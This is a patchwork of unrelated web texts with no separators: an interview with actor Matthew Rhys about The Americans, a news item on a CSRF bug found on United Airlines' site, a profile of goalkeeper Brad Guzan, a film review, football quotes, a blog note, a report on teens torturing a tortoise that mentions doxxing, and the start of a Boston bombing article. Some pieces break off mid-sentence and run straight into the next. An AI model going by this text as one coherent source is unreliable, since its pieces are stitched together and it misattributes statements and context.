He doesn’t want her pushed into something at such a young, vulnerable, impressionable age whereby in a few years she’s in up over her head because it’s not something you just – it’s not a job you can quit overnight or walk away from and he doesn’t want her to have to do the many awful things that he has to do in order to stay alive and, therefore, keep the family alive.
Q: We meet Gabriel in the season three premiere. Can you talk a little bit about working with Frank Langella and what’s coming up with him?
MATTHEW RHYS: Yes. It’s like having a silverback gorilla come onto the set in the best way possible. He’s this dominant, physical, mental, emotional, presence that kind of stiffens and straightens everyone’s back and lifts everyone’s game, certainly. He comes with this – the premise in which they set him, him being influential and instrumental in the training of Philip and Elizabeth, is great because it gives you instant history that he just does effortlessly. He has this commanding presence that builds a great conflict between them all.
Working with him has been fantastic as he turned up with this natural presence and he is ready to listen, he’s ready to play, and he plays at a very high standard, which makes it exciting for us.
Q: Great. Can you talk a little bit about what’s coming up with him this season?
MATTHEW RHYS: Yes. In the same way I think Philip feels a little isolated in the fact that Frank and Elizabeth, Gabriel and Elizabeth are obviously the more staunch diehards of the party and the mission and the party come before anything else, and he’s very onboard for bringing Paige into the fold whereas Philip isn’t and feels a great sense of betrayal. I think Philip – well, I don’t think, what happens is Philip is isolated from the two of them and feels betrayed, and that is the bigger arc for him and Gabriel, that sense of betrayal and conflict in the fact that he doesn’t want his daughter to follow his footsteps.
Q: What do you think it would take to change Philip’s mind, or do you think that he’s staunch in his belief that Paige should not follow in her parents’ footsteps?
MATTHEW RHYS: I think he’s absolutely immovable in that respect. There’s nothing on God’s green earth that could make him acquiesce to the fact that she should join the KGB or, indeed, the intelligence world.
Q: What do you think changed Philip’s mind about being an officer and how it would affect – I mean, you say Paige is young and impressionable, but she’s going into the church and she’s becoming, she’s following that religious life and how that’s her at a young and impressionable age. What do you think makes the difference for Philip in between those two lives?
MATTHEW RHYS: Well, if you look at the lives, really, when they’re killing people and having sex with them for intelligence as opposed to a sort of – yes, it’s secular in one way, but ultimately it’s a communal, supportive group that has a strong belief, which is the same, but there’s no risk of being killed or hurt or imprisoned as a direct result of your job. I think there’s great responsibility, there’s great guilt, I think, on Philip and Elizabeth’s part as she joined the church group because if you notice – well, you don’t even notice – is blatantly obvious. They’ve been absent parents in their children’s lives up until this point, and it’s a very real reason why she’s sought that support and that comfort from a group elsewhere. I think children tend to find the rebellion of the opposition of what their parents want. For them, it was the church.
Given the choice, this could be anything like any teenage had. In a couple years’ time she might say, “That wasn’t for me,” and then, no harm done whereas I’m sure to join the KGB or anything related in that sense, that’s it. Once you’re in, that’s it. There’s no turning back.
Q: We’ve seen a pretty major difference between who Philip is as a spy and also who he wants to be as a person. Do you think it’s possible that the character of Clark is actually closer to who Philip sees himself as outside of the spy world?
MATTHEW RHYS: That’s a very good question. I would agree. Yes, I think he’s arrived at a place in his life where it’s exactly what he does want. He does want a domestic contentment. He wants a simpler life within a healthy working relationship where there’s mutual respect. And yes, there’s a large element of Clark and Martha that serves that.
Q: I want to touch on something we see in the first set of episodes here where Philip is forced to approach a girl practically the same age as Paige. I wanted to know how you thought that affected his ongoing argument with Elizabeth and the KGB about age.
MATTHEW RHYS: Well, I think it serves a point. As conflicted as he is, because he’s deeply, deeply upset by the mandates of this particular operation, I think he finds it incredibly disturbing for the simple reason that he does have a child the same age, but it reiterates the fact that this girl is, just purely by association being the daughter of a CIA, she’s put in harm’s way by people like him and I think he hopes it reiterates to Elizabeth the danger she would be placed under if she were to come into this mad world.
Q: We’ve seen Philip and Elizabeth do some pretty excruciating things, some horrible things for their country. At this point do you think that there’s anywhere that they would draw the line, that there’s something that they just wouldn’t do?
MATTHEW RHYS: I mean, it was pretty tough for Philip to agree to follow-on with the operation and the seduction of this 15-year-old and I think that would have got [indiscernible]. I think if for some reason there was an order to come through to harm or terminate a minor, then I would imagine that would be something that he probably wouldn’t carry out.
Q: I was thinking, really, in the first episode this season we see that Philip actually has a more pragmatic approach to the deaths that are around him. Last season we saw how he sort of derailed emotionally because of that, so I was wondering if you could talk a little bit about that shift.
MATTHEW RHYS: I think it was a combination of things that came to a head last year with a number of – you know, Philip has sat on so many enormous emotions for so long that it basically built and built and built and it erupted in that moment with Paige. Paige has been on the receiving end of it. It’s all about Paige but nothing to do with Paige, you know what I mean, but she received the wrath of it.
I think in a sense, in some ways it was a minor breakdown on Philip’s behalf that he’s now recovered from and he has some distance and some perspective on it and realizes that it’s just now something he has to accept. It affected him enormously up until that point. Since then, he’s begun to kind of, you know, he viciously disagrees with it but he accepts it now as a part, as a bigger picture. It’s basically to keep himself, his wife and his family alive and then it’s a necessary, an enormous necessary evil in that greater picture.
Q: You and Elizabeth have played a lot of different characters, different disguises. What was your favorite one to play?
MATTHEW RHYS: My favorite one is a guy that I nicknamed Fernando. He has long shoulder-length hair and a moustache and sometimes a little goatee and usually works as a sort of janitor figure or whatever, whatever’s needed. He’s been my favorite I think, just because of the elaborate backstory I’ve given him as a flamenco-dancing assassin.
Q: Paige was joining that church and Philip and Elizabeth weren’t crazy about it and ultimately it was a bit of a sham, but do you think Philip saw any connection between what he went through with the KGB and could see the similarities in this church, which is why they were so against it?
MATTHEW RHYS: Yes. I think Philip and Elizabeth both suffered from absent parents in one respect or the other and Russia being what it was at that time and they’re having doctrination of what communism was and it being the only way and the right way at a very young, impressionable age, then yes, all those types [ph] align and make for a perfect party member. I think the same has happened for Paige. She’s suffered enormously from two very absent parents and has sought the comfort and light and guidance from elsewhere.
Q: Out of the two-year run that your series has had, what is your favorite episode you’ve played so far?
MATTHEW RHYS: I think possibly the favorite was that one where – I can’t remember what it’s called – but it’s where Philip, where you referenced earlier, erupts in a way at Paige and tears up a Bible. To me, it was one of the most human moments for someone who’s had to deal with all of this throughout his entire life and we watched for two seasons the buildup and the culmination of so, so much. What I loved was the fact that for once, we see it released, we see it come out and we see it have its effect.
For that reason, it is rare because I think in the series we do tend to – emotions do have to be bottled for various reasons and it was just so good to finally air something so deeply entrenched in Philip’s psyche.
Q: What are you most excited about for season three? Anything upcoming that you can talk about?
MATTHEW RHYS: Yes. To me, what was always exciting was when I first read the first pilot of this, at its heart, the most alluring for me was this incredibly complex relationship, at its heart, and how that would resolve and manifest itself, and that’s what’s always of interest to me. I think this year, the scene, the conflict between Philip and Elizabeth about Paige, it’s the more extreme version of what so many marriages and relationships go through in the raising of children. It’s the absolute conflict that interests me, how it will resolve itself and the very rocky journey of getting there.
Q: Now that Annelise is out of the picture, you seem to very quickly go with the flow and use that to your advantage. I was just wondering what’s going to happen with your storyline with Yousaf this season.
MATTHEW RHYS: To be perfectly honest, I don’t know where it’s going because it’s resolved in the last three episodes, which we haven’t received yet. It’s as much of a surprise –he kind of gets in and out of the season but nothing of substance in– he checks in with Philip and Philip keeps pushing him for information.
The true resolve of what will happen, is to happen is in the last three, which we haven’t received yet, so time will tell. I’m sorry I can’t be any more specific than that.
Q: Okay. How does your character deal with her death and how do we see that play out over the next few episodes?
MATTHEW RHYS: I’m afraid to say. There’s so much other stuff going on that the resolve isn’t on camera. I mean, it’s like all deaths and it affects him deeply and you like, the eruption of – leading to it, it tends to seed and plant itself deeply with Philip and then usually the effect takes hold much later.
Q: This season Philip and Elizabeth are extremely focused on Paige now that the center has zoned in on her as being a recruit, but do you think that all this attention that they’re focusing on Paige is affecting Henry in some way? There was his breaking and entering last season and this season he’s hoarding bikini photos of his neighbor and there’s no telling what else he’s going to do. Do you think that all this attention on Paige is just going to come back to them with Henry?
MATTHEW RHYS: I do, I do. There’s this deliberate, silent watching and listening from Henry throughout the season, I’m very interested as to how that will manifest itself in him. It’s clearly that absence he feels and the dysfunction and the distance, I’m sure he feels will have to come out in some way, form or another. I look forward to seeing that.
Q: Has that affected the season just yet?
MATTHEW RHYS: Not yet. It’s still bubbling along.
Q: I was watching the Screen Actors Guild Award and something that I couldn’t help but notice is that each time the television actors got up to accept an award and started speaking, they thanked the writers of the show. Just listening to you speaking this afternoon, it’s obvious that you are passionate about this character, passionate about this series. Could you speak at all on your affinity for this script and what your relationship is like and this new plot going on with Paige and everything?
MATTHEW RHYS: Yes. I’ve always said television is the absolute writer’s medium and there’s a reason we’re in the golden age of television. It’s because the writing in this day and age is so incredibly good and never more so than in our show, where as I’ve said time and time again, the layering, the complexity of what they give us to play is so enormously interesting and difficult and challenging and dynamic. We thank them a lot as well. Sadly, we didn’t have the platform at the SAG Awards.
Q: Specifically in terms of this plot with Paige, I couldn’t help but think of a series like Homeland where it seems like they falter in focusing too much on the children, so what do you think this season does right in giving your children on the series such pests when it comes to the actual part of the show?
MATTHEW RHYS: I think there’s the focus of children taken in any family situation or dynamic is enormous and so much of people’s lives are geared towards being good parents and doing the right thing. I think it’s those universal themes that help us and really ground it in a way and make it that much more real, I hope.
Q: When we see the flashback sequences, their lives before they joined the KGB, which they’re not supposed to really acknowledge, but over the last few seasons we’ve seen that there’s been a shift in that. We don’t really get a glimpse of Philip’s early life. He’s touched on it a bit and I was just wondering, is that something we’re going to see more of or do you personally have a backstory as an actor for that?
MATTHEW RHYS: I do have a backstory for it which helps me in the way I create my world for Philip. I don’t think it is, not this season, because this season is very much Elizabeth’s and the relationship with her mother, which obviously parallels and mirrors that with Paige and the way it informs the relationship with Paige. That’s a great focused moment.
God willing, if we do get a fourth season then maybe we’ll see some of Philip’s more misspent psychedelic days.
Q: In what ways would you say that Philip is very much like you as a person and in what ways are you just not like him at all? Do you embody some of the same things?
MATTHEW RHYS: Absolutely, absolutely. I’ve always appraised any character I approach with – basically, the characteristics should be built up of myself. I’m always interested in the truth of the character and the way I bring a truth to the character to make him, I hate to say, but it’s your own make up that you bring to the character. It’s rare that you see anyone play a great extremity [ph] in this day and age because actors really haven’t given the opportunity to be – only the big stars get to have the chameleon stretches that they want, but more often than not you’re cast in the way that you are. More often than not, I think with television writing, as the first season unfolds, writers will tend to start writing to your own characteristics.
I think in that respect, when things evolve, naturally they see the family orientation and the rest of it, the more humanity of Philip. I like to think that those are characteristics that I share heavily with him, the same hatred of the deaths that happen. There’s a lot of me in Philip, even though I’m watching now.
Q: Yes. Well, also, I have to say, Philip gets laid more than any television character I’ve ever seen.
MATTHEW RHYS: That’s based on my life as well.
Q: As an actor, though, does it get any easier doing sex scenes or those types of scenes?
MATTHEW RHYS: No. It never gets comfortable.
Q: Really?
MATTHEW RHYS: It never gets to a point where you go, “Oh, this is normal, this is natural.” You’re simulating sex with 40 of your closest friends. It’s bizarre, the random bizarreness of it. Then it’s magnified when you have to do the gymnastics of the Kama Sutra as well.
It’s never – I’d answer with never. It’s not close to a place where I can go, “Oh, great, another sex scene. That will be normal.” It’s the opposite for me.
Q: The Kama Sutra thing was pretty good, though. Did you have to practice a lot for it?
MATTHEW RHYS: Well, we didn’t. We didn’t. However, we did suffer for it. There was a lot of pulled tendons and cramping because you’re on one foot trying to balance basically.
Q: The character of Martha is determined to have a future with Clark despite all the warning signs of him not being available and they’re keeping their marriage a secret and they don’t live together. He’s obviously pumping her for information. How much longer do you think that this ruse can last, this fake marriage with Martha constantly questioning their future together, wanting to foster a child and eventually have one of their own?
MATTHEW RHYS: I think Philip is very aware that it can’t sustain itself. He can’t keep at arm’s length and fobbing [ph] her off and leading her down a certain garden path about having children and the rest of it when really, I think it affects him enormously, the playing with her emotions, but I think he knows full well that it’s like his life in a way. It can’t sustain itself and ultimately, something will have to give, and more often than not, undoubtedly, it will be with relatively disastrous consequences.
Q: That’s unfortunate. I like Martha.
MATTHEW RHYS: I know. I think I, as has Philip, have enormous compassion and empathy for Martha. It manifests itself in the great guilt as to the puppeting of someone’s feelings and journey in life.
Q:: Nobody knows where the show’s ultimately going to go, but since in your personal opinion the way things have gone and knowing the character of Philip and Elizabeth, do you think towards the show’s end, which is hopefully many years from now, do you think it’s more likely that they’ll get captured and possibly killed or do you think there’s a chance that they could actually defect?
MATTHEW RHYS: My hope is that they do defect. Philip mentioned that in the first episode of the first season. I think that’s something that remained with him very closely until now and that’s really the absolute only way he could guarantee the safe future of his children. To me, I would love to see them defect.
Q: Do you think Elizabeth would go for that, though? She seems to be closer to Mother Russia than Philip.
MATTHEW RHYS: There would have to be unmitigated sets of circumstances whereby it would be a deal that if they didn’t they would go to prison for the rest of their lives, the kids would be put in a foster home, or that they could become double agents. Then it begs the question, does Elizabeth then become a triple agent?
Story-wise, dramaturgically, I think it offers an enormous amount.
Q: Do you sometimes Twitter during television, during the show sometimes, live Twitter?
MATTHEW RHYS: I don’t, never. I never have done it. I’m not a big Twitterer.
Q: Not a big social media guy?
MATTHEW RHYS: I’m not. I’m a little bit of a Luddite. I still use pen and paper as often as possible.
Q: What do you think of that phenomenon, though? A lot of shows do it.
MATTHEW RHYS: They do, and I understand it and can see the beast it’s become. It’s now the beast no one can do without. I have to admit, I’m not a fan of it. I don’t, it doesn’t push my buttons, but it’s a necessary evil in this day and age.
Q: I think it takes away from the show while you’re watching the show. I can’t do it because I’m trying to watch the show and see what’s going on.
MATTHEW RHYS: Yes. No, the live tweeting I totally disagree with because I think in that sense the way sometimes they ask actors to do TV spots with it not being the character and it more being themselves, I think it’s a ludicrous notion to me because I think especially with our show, you ask the audience to go on quite a fantastical journey. It’s a big ask of them, of their imaginations, to go with you. I think things like live Tweeting and things like that, what you’re doing is you’re popping yourself out of that fantasy back into reality and telling the audience that you’re an actor playing a part. The suspension of that belief I think becomes harder or the chasm becomes a greater jump. I don’t think it aids you in any way.
Also, I’m just a bit more old school. I just want to watch it uninterrupted.
Q: Did you work on anything else during your hiatus? Do you have anything else coming out this year?
MATTHEW RHYS: I did. I did a movie in France with a great director called Christian Carion. It was a Second World War movie. He was Oscar-nominated for a First World War movie he did, and that’s being scored by [indiscernible] as we speak. It’ll be out in the summer.
Then I did a little movie for Harvey – not a little movie. I’m sorry, I played a small part in a Harvey Weinstein movie with Bradley Cooper where we play rival chefs.
Q: What’s the name of that?
MATTHEW RHYS: It has a working title at the moment of Adam Jones, which is the main character, but I’m not sure if it’s going to be the final title.
Q: Yes. Well, that sounds fantastic. So we have more of you coming up this year.
MATTHEW RHYS: I’m sorry to say you have.
Q: I have a question for you that involves falling in love with Elizabeth. I always felt from the first season when it shows Philip initially ripping the picture in two of the young girl right before he meets Elizabeth, I always felt that there was something about that that connected him to her emotionally from the very beginning. Would you say that Philip fell in love with her from the moment he saw her or was he just more open to it because he was obviously more open to it being real than she was?
MATTHEW RHYS: No, I’m a romantic in that sense. I do think that he fell in love with her in the beginning. Yes, so yes is the short answer.
I think he is emotionally a lot more available and open, and that doesn’t serve him well in this business at times.
Q: Is it harder for him to shut that down then, when he has to go into the field?
MATTHEW RHYS: It is, it is. I think it takes its toll deep down with Philip. I think it does affect him and as we’ve seen, it’s a problem that comes back. It’s the return of the repressed. It comes back to haunt him.
Q: Because you get to play so many character roles and you do so many different choice [audio disruption] in this job, would you consider this your dream role? If not, what has been your dream role?
MATTHEW RHYS: No, I’d say this was my dream role. As a box ticker for actors, I don’t think you could get better than this. It’s been a real dream. As I said, the layering, the complexity of it keeps getting deeper and more varied. There’s no danger at all of it ever becoming dull or repetitive. It’s incredibly challenging and dynamic. It’s everything you want or ever wanted to do in one part.
Q: We know how pivotal a role Paige has now and working with Holly Taylor, can you talk a little bit about that?
MATTHEW RHYS: First off, and I always hate it when actors do this, but with regard to her I can say with absolute sincerity she’s one of the sweetest, nicest, most sincere people I’ve ever had the fortune to meet, but it’s true. I think it serves her incredibly well because what it brings to her part, and especially with these storylines, is an incredible sense of truth.
She has enormous sincerity and truth and virtue in her performances and that was influenced by who she is as a person. I think |
went through the airline’s website, he found that the request which changes the added email privilege didn’t have any (Cross-Site Request Forgery) CSRF token. At first, he thought to report it to the airlines but decided not to because according to him it was not a big bug to be reported.
However, he kept trying to look for bigger security flaw and found that the process of changing the secondary email to primary did not have (Cross-Site Request Forgery) CSRF token. This is the time when hacker decided to report the bug to the airline. In an email response, United Airlines said that ClickJacking issue was already reported by someone, but the CSRF problem was never reported before by anyone, according to the blog post.
Now, when the bug is fixed, United Airlines has awarded the bug reporter “50,000 miles”.
CSRF (Cross-Site Request Forgery) is an attack which takes place when the malicious website, email or a message makes the Web browser perform an unwanted action on trusted site for which the user is authenticated via OWASP.
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ClickJacking is also known as “UI redress attack” is an attack which happens in a way that the hacker tricks the user to click a link he wants by sending different transparent or opaque layers before the actually clickable link/button. This way, hackers can snatch clicks truly meant for their page and moving them to any other page.
Previously found vulnerabilities in United Airlines’ system:
This is not the first time when a researcher has found a vulnerability in the United Airline’s system. In the past, Chris Roberts, a security researcher from the United States identified risks in United’s airplane in-flight entertainment systems which would allow attackers to turn the plane’s engine and cockpit’s lights off.
It was due to Roberts’ findings the United Airlines was forced to start their bug bounty program in May 2015.QUINCY, Mass. – Brad Guzan said he remembers the details “like it was yesterday,” and he tells the story of the moment three years ago when he bet big on himself as if it really did just happen. He recalls what was said, how he felt and the granular details of his quick but crucial trip to Birmingham, England—including the time of day he sat down with new Aston Villa manager Paul Lambert to talk about his future.
Guzan was 27 years old in the summer of 2012. He was entering a goalkeeper’s prime but had started just seven Premier League games during his first four seasons at the club. He was at a crossroads, pegged by many back in the U.S. as the next great American goalkeeper but still unable to break through for club or country. His career had stagnated, and few would have blamed the Chicagoland native if he never wanted to step foot in Britain’s “Second City” again.
Instead, Guzan rushed back.
“It was on a Monday afternoon when I had the conversation with [Lambert] on the phone. On Tuesday afternoon, I booked a flight form Chicago to London. Landed Wednesday morning, drove two hours up to Birmingham to the training ground, met with the manager at 11 o’clock or so,” Guzan recounted to SI.com outside Boston, where he was preparing for his second CONCACAF Gold Cup match as the U.S. national team’s undisputed No. 1. “Met with him from 11 to around 1, got back in the car, two hours back down to Heathrow, back on the plane and was home for dinner in Chicago Wednesday night.”
Although he felt somewhat marginalized by previous coaches (Brad Friedel’s presence notwithstanding), Guzan remained loyal to Villa in part because the club was undeterred during its lengthy 2008 pursuit of his U.K. work permit. Perhaps more importantly, Guzan was unwilling to retreat. Despite a lack of playing time, he remained certain he could thrive in the Premier League. Rather than sign with a smaller club where minutes might be certain, he asked Lambert only for a clean slate. Guzan would fill in the blanks.
“That everyone starts fresh and everyone is going to be given a fair opportunity. That’s what I needed,” Guzan said when asked what he was looking to hear that day at Bodymoor Heath. “Years previous to that, I don’t feel I had a fair shake at things and all I wanted was a fresh opportunity and a fresh chance … I back myself. I trust in my ability. I believe in myself. Not in a cocky way, but in a confident way. I know I can play at the top level.”
Guzan signed a new contract, started 37 of 38 league games and was named Villa’s player of the season. The following summer, he inked an extension. Guzan bet on himself, and he won. Naturally, he remembers the particulars.
Broad shouldered and standing an imposing 6'4", Guzan is built like a prototypical goalkeeper but didn’t embrace the position until arriving at the University of South Carolina. He’d played in net at the ODP level but at his youth club, the Chicago Magic, he preferred midfield. He may have had an early urge to kick and run, but learning to think like a goalie came a bit more naturally. A unique position demands unique perspective. Playing time is at a premium. For the third-best attacker or defender, there’s probably still a starting role available. For goalies, it’s one at a time. And mistakes are magnified.
“When you make a mistake, it normally results in a goal. You’re on the ‘Not Top 10’ or you’re the butt of the joke. It’s not great. That comes with it and you have to toughen up very quickly, and I’ve learned that if you’re not going to be able to shake things off and get on with making a mistake here or there, you’re not going to survive,” Guzan explained. “It’s a different mentality. You have to have thick skin. You have to learn to be able to deal with things and move on from things and for me that was probably, and to a certain extent still is, one of the biggest aspects of goalkeeping.”
Doubt can creep in, not only when there’s a ball behind you, but when there always seems to be another goalie ahead. Guzan eventually established himself as the No. 1 at Villa Park in 2012 but with the U.S. national team, the wait was longer. He made his senior debut back in 2006, was part of the squad that claimed the 2007 Gold Cup title and started at the Olympics the following summer in Beijing. At the same time, he was backstopping Chivas USA to the MLS playoffs.
But as Kasey Keller left the stage, Tim Howard stepped into the spotlight. And there he remained, through the ’09 Confederations Cup, the ’11 Gold Cup (which Guzan missed while getting married) and the ’10 and ’14 World Cups. Guzan would be named to the team, travel and train and then stay on the bench as Howard took his place between the posts. Prior to this Gold Cup, Guzan started only two tournament games for the senior national team—a dead rubber 1-0 loss to Colombia at the ‘07 Copa América and the 3-0 win over Egypt at the Confederations Cup.
He had no choice but to practice as if he was going to play.
“There are probably a select few players in the world, on one hand you could count them, that can literally flip a switch and say, ‘You know what? Today I’m going to turn it on.’ I’m not one of those players,” Guzan said. “There’s disappointment [when I don’t play]. You don’t get to be a professional or get to the national team by being satisfied being a No. 2, by being satisfied with being on the bench and just being a part of it … Every time I didn’t play, of course there was frustration. Especially after games like the Egypt game, when you win 3-0 and you help the team advance and then next thing you know, you find yourself back on the bench.”
Days like that critical one in Rustenberg, which set the U.S. up for its famous upset of Spain, helped motivate Guzan to keep pushing. They confirmed he could do it. The thick skin, and a goalie’s ability to move on quickly from disappointment, took care of the rest.
He performed well when called upon. After failing to start an international for 28 months, Guzan stepped up in March 2013 and stonewalled the opposition in two critical World Cup qualifiers. He shut out Costa Rica in a blizzard outside Denver, then stymied Mexico four days later at the Estadio Azteca.
“Whenever you get those opportunities, that’s when you have to prove it to other people. Then you have to show everybody else what your self belief is and how you can perform” he said.
It obviously made an impression on U.S. coach Jurgen Klinsmann. Even though he opted for Howard at last year’s World Cup and even though Nick Rimando was flawless at the 2013 Gold Cup, Guzan remained on the cusp of the starting job. In May, Klinsmann named Guzan the Gold Cup starter when unveiling the tournament roster. This is a manger who’s been reluctant to anoint anyone, no matter how accomplished. Klinsmann believes comfort and security are recipes for complacency. But he made an exception for Guzan, despite the goalkeeper’s recent benching at Villa. Klinsmann saw a player who’d overcome that disappointment.
“We are excited to have Brad Guzan back in our group,” Klinsmann said. “It’s exciting, even if he had some tough weeks at Aston Villa, where suddenly the coach for whatever reason decided to put him behind Shay Given. That surprised us big time. But he fights through that and he will be sharp and hungry for the long summer.”
Michael Bradley said, “Across the board, the confidence in Brad is huge. We’re all excited for him now that he’s getting extended run of games as the No. 1. There’s full confidence in him that when big moments come, that he’ll be there for us.”
Said Guzan, “We’re human and you want that support and publicly, it’s even better. But it doesn’t change anything from my point of view. I still have to go out and perform. I still have to go out and prove myself and justify his decision. If I go out and have an absolute stinker and throw the ball into the back of the net, of course I’m no longer going to be the No. 1.”
Guzan has justified Klinsmann’s decision. He was outstanding as the U.S. grinded its way to first place in a rough and tumble Gold Cup group that included 2013 runner-up Panama, 2010 and 2014 World Cup qualifier Honduras and up-and-coming Haiti. None of the games was easy and the Americans had far less control than many anticipated, but Guzan held steady behind an inexperienced and evolving back line.
He was on from the opening whistle, denying Honduras’ Anthony Lozano with a quick drop to the right in only the third minute in Frisco, Texas. Three days later in Foxborough, Massachusetts, Guzan preserved a one-goal led when he stopped Duckens Nazon on a breakaway. Against Panama in Kansas City, Guzan acrobatically tipped a late, close-range redirection from Miguel Camargo just past the left post. Guzan was beaten twice in three games, but made more than enough good saves to compensate.
During a group stage that featured conversations about Clint Dempsey’s lost captaincy and clutch scoring touch, issues in possession and along the back line, Jozy Altidore’s health and the grueling nature of beating smaller, desperate rivals, Guzan’s performance has been largely overlooked. He was expected to do well and he has—nothing new to see here. Despite the relative lack of international experience for a player of his stature (he has only 34 caps), there was little question he’d be up to the task. Goalkeeper remains one of only two or three spots on the field that U.S. coaches and fans still don’t have to worry about. Guzan is ably carrying on one of the few American soccer traditions.
On Saturday in Baltimore, he’ll be in net again as the U.S. (2-0-1) meets surprising Cuba (1-2-0) in the Gold Cup quarterfinals. A semifinal against either Jamaica or Haiti awaits on Wednesday. The prospects are tantalizing. Guzan was in a Soldier Field suite during the ’07 Gold Cup final. He was on the sidelines during the 2009 Confederations Cup final and then missed the 2010 League Cup final and 2015 FA Cup final at Wembley Stadium with Villa (all losses). He’s been so close to the biggest games, so many times. But he’s yet to experience the feeling of a major final or the thrill of lifting a trophy. When asked, he could not name the last time he played and won something.
“Probably youth soccer at some point,” was the best Guzan could do.
It’s only natural to imagine lifting the Gold Cup in Philadelphia, to anticipate the thrill and joy and relief of that moment. But spending more than a second or two would take Guzan away from what’s worked so far.
“If all of a sudden I start thinking too much about that, I’m pretty confident I wouldn’t get to that point because there’s many other steps along the way,” he said with the certainty of someone who spent years on that road.
However the Gold Cup ends, Guzan expects to return to Birmingham, where he’s under contract for two more seasons. Yes, he was demoted in April and missed Villa’s final five games. But there was no complaint, no controversy and no public demand for a transfer. Shay Given, who stepped in for Guzan during the stretch run, has moved on to Stoke City, and new signing Mark Bunn, who like Guzan is 30, spent the past two seasons on the bench at Norwich City. The English press is speculating that the starting job once again is Guzan’s to lose.
Whether the same is true at international level remains to be seen. There’s still a Gold Cup to win, and Howard has hinted that he may opt to end his U.S. sabbatical. Younger keepers like William Yarbrough and Bill Hamid are eager to add their names to the lineage and Rimando may play forever.
“It’s a cutthroat business and if you don’t perform or if somebody wakes up on the wrong side of the bed and you’re not their guy, they’ll find a way to move you on,” Guzan said.
Given the responsibility he coveted, he now must fight to keep it. But he’ll do so not by worrying about the future or the competition or what might go wrong. He’ll do it by being a goalkeeper—by “brushing off” and powering through mistakes, snubs, and fear and focusing only on the next play, the next game and what he might do to help his team win. He'll bet on himself.
“There’s always another guy in line. After me, there’s going to be somebody else. That’s the way professional sports go. Players come and go and move on. For me, this is a huge opportunity because it’s a chance to be No. 1 in a huge tournament that means a lot to our team and this country,” he said. “I hope I’m the guy in 2018. It’s up to me to prove to the coaches that I can be counted on, and it starts with the Gold Cup. It starts with this tournament here. It’s about the belief I have within myself and my ability. So when you put those things into place, hopefully that turns into good results on the field.”There are two reasons to enjoy Scorpio Rising – the conflicted legacy of our liberal post-war, post-Christendom culture, and the techniques Scorpio uses to describe those tensions.
Scoprio Rising is the 1964 short classic by Kenneth Anger. Anger was an openly gay occultist who paled around with Anton LaVey – a poster child for conservatism’s critique of the excess of the 1960’s. This film was censored for alleged indecency until the Supreme Court stepped in.
The symbolism in the film is obvious enough to be almost ham-handed. Jesus is irrelevant; we worship James Dean and Elvis Presley now. Healing the blind has given way to indulgent orgies. Nazism is among our new idols now that God is dead.
This isn’t some sort of Ben Stein documentary. For one, Anger doesn’t necessarily see these as negative developments. If his new world reminds us of fascism, he is a reminder that the “left” and the “right” aren’t are opposed as we suppose. The muscled, oiled machines (both bikes and boys) are superior to the weak old morality.
This isn’t the Age of Aquarius – this is the Age of Scorpio.
For another, Scoprio Rising is the key example of sound montage editing. We’ve got a dozen pop songs, juxtaposed with brilliant cuts – some quick, and some slow. Anger develops a poetics of visual and audial association that isn’t sneaky and isn’t manipulative. We see, and we understand.
Really, if you’re curious about fundamental film grammar, this is one of the 2 or 3 must sees.
Scorpio Rising is #392 on the Top 1000 Films list I’m working on. I’ve now seen 355.
Watch it for free on Google Video below: (NSFW, if you didn’t already pick up on that)
AdvertisementsJaume Roures, the founder of Mediapro, gave an interview to 'El Partidazo' on Cadena COPE on Monday.
Roures, a Barcelona fan, analysed matters currently relevant to the club, such as Lionel Messi's contract renewal and Neymar's departure.
Despite president Josep Maria Bartomeu's explanations, Roures feels there's a reason Messi's still not signed the renewal he agreed in July.
"If Messi's still not signed there's a reason why," he said. "He doesn't want to appear in the [contract signing] photograph when it's not the moment."
On Neymar, he said: "In July I already knew that Neymar was going to leave Barcelona. Last year there was an agreement between Neymar and PSG and the player broke it."
Finally, on Agusti Benedito's vote of no confidence, he said: "I don't think Benedito is an alternative to the current board."I first read this story earlier in the day via the Washington Examiner. That was a few hours ago and at the time their story stated sales were up a mere 69%. They subsequently updated the article to inform readers that sales had risen to up 91%. Well I just checked for myself and the figures now show a 126% increase. It’s all very dynamic, so here is the link for you to check for yourself. I couldn’t resist posting a screen shot as well. I suppose it makes sense that people would want to get up to speed on the dystopian world being constructed rapidly and secretly around them.
In Liberty,
Mike
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Follow me on Twitter.Two Florida teens are under investigation for repeatedly lighting an endangered gopher tortoise on fire, fatally stomping it to death as it cowered inside its shell, and then posting videos of the torture on Facebook.
A concerned classmate brought the videos to the attention of an animal rights group in Nevada, and they've since been forwarded to Florida's Fish and Wildlife Conservation Commission. The Florida Times-Union reports the State's Attorney's office is determining appropriate charges for the two Orange Park girls, ages 15 and 18.
The videos are no longer online, but First Coast news aired this clip of the girls pouring flammable chemicals on the tortoise and torching it with a lighter:
The Times-Union also obtained the footage from Nevada Voters for Animals, and their story describes some of the gruesome lowlights:
"Burn baby, burn baby," one girl says as they light the tortoise on fire. "Now you are scared of us, huh?" "He's — — hissing still," one says as they pick the struggling animal up. "Let's do it again," the videographer said. "Let me do it. He's not dead. He just went in his shell." "His heart came out with a bunch of grass," the girl with the camera says as she laughs, then kicks the corpse. "He's dead. That's funny."
"We received quite a few complaints about this and a call from the Sheriff's Office, so we had an officer go out last night," a Florida Fish and Wildlife officer told the paper, "Everybody is pretty much sickened by it and can't believe someone would do that to an innocent animal."
Although the girls haven't officially been arrested yet, they could be charged with aggravated animal cruelty, with additional felony charges because the gopher tortoise is on the state's threatened species list.
Meanwhile, internet vigilantes at 4chan have started their own investigation of the incident, the Daily Dot reports. They've doxed the girls and sent their names to their high school, local authorities, and news outlets in an effort they're calling "Operation Shell Shock" (of course).
When a Times-Union reporter went to one of the suspects' houses Wednesday, a girl who appeared to be one of the two in the video answered the door, but closed it without saying anything.
[H/T Daily Dot]Susan Zalkind covered the Boston bombing for Boston Magazine and “This American Life.” At the Boston Marathon this month, its host city will mark one year since Tamerlan and Dzhokhar Tsarnaev allegedly planted two bombs at the finish line, killing three and injuring hundreds more. As the nation commemorates the resilience of runners, victims, first responders and residents, many questions surrounding this tragedy remain unresolved. Let’s tackle some persistent misconceptions.
1. The bombing couldn’t have been prevented.
Three months after the bombing, then-FBI Director Robert S. Mueller III said the bureau’s failure to share information about the elder Tsarnaev wasn’t important. “Even if [procedures] had been fixed prior to the Boston bombing, I do not think it would have stopped it,” he told the House Judiciary Committee.
